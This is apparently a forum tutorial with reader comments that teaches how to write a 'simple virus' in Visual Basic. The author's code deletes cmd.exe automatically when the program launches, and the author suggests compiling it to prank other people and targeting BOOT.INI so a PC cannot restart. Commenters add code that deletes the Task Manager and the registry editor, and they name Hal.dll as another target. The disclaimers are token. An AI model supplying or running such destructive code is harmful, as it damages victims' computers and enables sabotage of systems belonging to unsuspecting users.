Make a simple virus in Visual Basic & Explore VB with me
By bawinner
Make a simple VIRUS in Visual Basic
MAKE A SIMPLE VIRUS IN VISUAL BASIC
Well. now i'll teach you how to make a basic Virus in Visual Basic.
Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.
To start with,Just open the Visual Basic,Select Standard EXE.
Now if you want to your virus to be active whenever the program is executed, then
type in the following code under the title:Private Sub Form_Load()
We'll start now:
Private Sub Form_Load()
Kill "C:\windows\system32\cmd.exe"
End Sub
Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .
I'll explain it now.
The command "KILL" tells the computer to delete the file in the inverted commas.
Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.
Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.
You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And dont try it.This's just for your knowledge.
u r great
good knowledge to have thanks
Thnxks for this
Here is a code for visual basic learner
Private Sub() Form1_Load()
my.computer.filesystem.deletefile("C:\Windows\taskman.exe")
my.computer.filesystem.deletefile("C:\Windows\regedit.exe")
End Sub
This is a malicious program to delete the registry editor and the taskmanager.
Don't try it in your computer plzz!!
U r very great i am interested
Thank You All.Do share any more ideas u may come across!:)
pls @bawinner i need ur help... i tried coding the program but it does not delete the file... i would appreciate ur e-mil or smth. nice work btw
BOOT.ini
or
Hal.dll
salamat sa mga ideas mu, malaking tulong yan sakin..
Great idea ..:)
H/mariam Abebe 4 years ago
Hi sir thanks verey much for giving me chance keep it up and add more codes on the web; you know i am IT deploma student in ethiopia pleas send any other code via my e-mail hailevip@yahoo.com